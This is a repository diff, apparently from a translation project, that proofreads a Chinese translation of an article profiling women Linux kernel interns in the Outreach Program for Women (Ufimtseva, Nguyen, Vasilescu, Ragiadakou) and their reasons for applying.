“我甚至需要学习如何才能停下来。有时候，好吧，是常常，我无法停下来，”Ufimtseva说，她和Citrix的Stefano Stabellini、Dario Fargiolli、George Dunlap一起工作，以解决针对与工作在xen上的并行虚拟机的vNUMA拓扑问题。“我一直努力，最终我贡献的补丁被提交到了高质量代码库里，这真的是很鼓舞人心哇！”
|
||||
|
||||
下一轮Liux内核实习生的截止日期是11月。申请着应当了解c或者c++的基本知识，布尔代数学，对Linux/Unix操作系统有一定的经验，了解Git更好不过也不需要。想了解有关可参加的项目以及申请的更详细信息，可浏览[在内核新闻站点的OPW页面][4]。
|
||||
下一轮Liux内核实习生的截止日期是11月。申请者应有c或c++的基本知识，布尔代数，对Linux/Unix操作系统有一定的经验，了解Git更好不过不是硬性要求。想了解有关项目以及如何申请的更详细信息，可浏览[ Kernel Newbies上的OPW 页面][4]。
|
||||
|
||||
###Lisa Nguyen
|
||||
|
||||
@ -36,11 +36,11 @@
|
||||
|
||||
**Lisa Nguyen和Oracle的Konrad Rzeszutek一起解决Xen的时钟驱动问题**
|
||||
|
||||
在我成为OPW实习生之前，我已经获得了多个大学学位，如计算机科学，数字辩论和信息安全等。我在过去的两年中持续地使用Linux，我还在Linux社区中充当多种角色，例如项目管理着，man页的作者，LinuxCon会议的协调着以及内核贡献着。
|
||||
在我成为OPW实习生之前，我已经获得了多个大学学位，如计算机科学，数字分析和信息安全等。我在过去的两年中持续地使用Linux，我还在Linux社区中充当多种角色，例如项目管理着，man页的作者，LinuxCon会议的协调着以及内核贡献着。
|
||||
|
||||
**你为什么申请同OPW一起为Linux内核工作**
|
||||
|
||||
我想要一个挑战，想要跳离自己的舒服区域。我要给软件开发一个机会，因为过去我一直面对这自信心问题。一天，我决定要寻求一个有关Linux的职业来代替现在的数字分析工作。当我看到OPW项目出现在Linux基金会在Google+上的博文时，我觉得这是一个在合适不过的机会咯，于是，我想“我为什么不去尝试一下呢？”
|
||||
我想要一个挑战，想要跳离自己的舒服区域。我要给自己一个软件开发的机会，因为过去我一直面临自信心问题。一天，我决定要寻求一个有关Linux的职业来而不是数字分析工作。当我看到OPW项目出现在Linux基金会在Google+上的博文时，我觉得这是一个再合适不过的机会咯，于是，我想“我为什么不去尝试一下呢？”
|
||||
|
||||
###Elena Ufimtseva
|
||||
|
||||
@ -52,7 +52,7 @@
|
||||
|
||||
**你为什么申请同OPW一起为Linux内核工作**
|
||||
|
||||
我觉得我需要使用低级语言而不是java去软件，例如系统软件。我有一种感觉，我能应对复杂的问题并解决他们。我经常阅读最新的Linux新闻，我觉得最吸引我注意的是Greg在一年前在Google做的关于Linux内核开发着社区以及补丁递交程序等的报告。我觉得“哇，这好好玩哇！”
|
||||
我觉得我需要在低层创建软件，例如系统软件，而不是用java。我有一种感觉，我能应对复杂的问题并解决他们。我经常阅读最新的Linux新闻，我觉得最吸引我注意的是Greg在一年前在Google做的关于Linux内核开发着社区以及补丁递交程序等的报告。我觉得“哇，这好好玩哇！”
|
||||
|
||||
### Laura Vasilescu ###
|
||||
|
||||
@ -60,7 +60,7 @@
|
||||
|
||||
**Laura Vasilescu 和 Carolyn Wyborny以及Anjali Singhai共同去解决igb驱动的ethtool属性。**
|
||||
|
||||
我认为自己就是一个极客，我对改善教育系统（尤其是罗马尼亚的）有着非常浓厚的兴趣。作为一名学生，我成为一名我所在大学的教师助理的志愿者，我还是罗马尼亚开源教育协会的成员。我的技术专长是网络，操作系统和低级编程语言。
|
||||
我认为自己就是一个极客，我对改善教育系统（尤其是罗马尼亚的）有着非常浓厚的兴趣。作为一名学生，我志愿做我所在大学的教师助理，还是罗马尼亚开源教育协会的成员。我的技术专长是网络，操作系统和低级编程语言。
|
||||
|
||||
**你为什么申请同OPW一起为Linux内核工作**
|
||||
|
||||
@ -76,15 +76,15 @@
|
||||
|
||||
**为什么你申请同OPW一起为Linux内核工作**
|
||||
|
||||
我对操作系统以及使用C语言进行变成非常感兴趣，但是我对内核开发没有任何经验，但是我觉的这是一个起步的好地方。
|
||||
我对操作系统以及使用C语言进行编程非常感兴趣，但是我对内核开发没有任何经验，但是我觉的这是一个起步的好地方。
|
||||
|
||||
### Xenia Ragiadakou ###
|
||||
|
||||
目前，我在克利特大学学习计算机科学。过去，我已经修完了几门课程，如经济学，东欧研究史等。我决定另换一个领域的原因是我感到厌烦了。我不知道这个想法是否明智。但是我意识到我需要的是更加具有创造性、富有变化以及非常实用的东西。所以，我决定进入计算机科学学院学习。现在，我的内心重新回复平静：我觉的编程是一件更加适合我的事情。这就像玩游戏一样，我非常喜欢编程的乐趣。
|
||||
目前，我在克利特大学学习计算机科学。过去，我已经修完了几门课程，如经济学，东欧研究史等。我决定另换一个领域的原因是我感到厌烦了。我不知道这个想法是否明智。但是我意识到我需要的是更加具有创造性、富有变化以及非常实用的东西。所以，我决定进入计算机科学学院学习。现在，我的内心重新回复平静：我觉得编程是一件更加适合我的事情。这就像玩游戏一样，我非常喜欢编程的乐趣。
|
||||
|
||||
**为什么你申请同OPW一起为Linux内核工作**
|
||||
|
||||
想加入开源项目的想法已经在我的脑海中存在很久了，但我一直认为我还没有足够的能力加入开源项目中去。这次有三个因素促使我去申请。1）OPW针对女性这一目标是我感到更加舒坦。2）我非常喜欢在Linux系统中工作。3）被引入Linux内核的开发过程非常平顺，会在应用开发的早期加入进去。
|
||||
想加入开源项目的想法已经在我的脑海中存在很久了，但我一直认为我还没有足够的能力加入开源项目中去。这次有三个因素促使我去申请。1）OPW针对女性这一目标是我感到更加舒坦。2）有Linux核心方面的项目。3）被引入Linux内核的开发过程非常平顺，会在应用开发的早期加入进去。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
|
||||
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Reference in New Issue
Block a user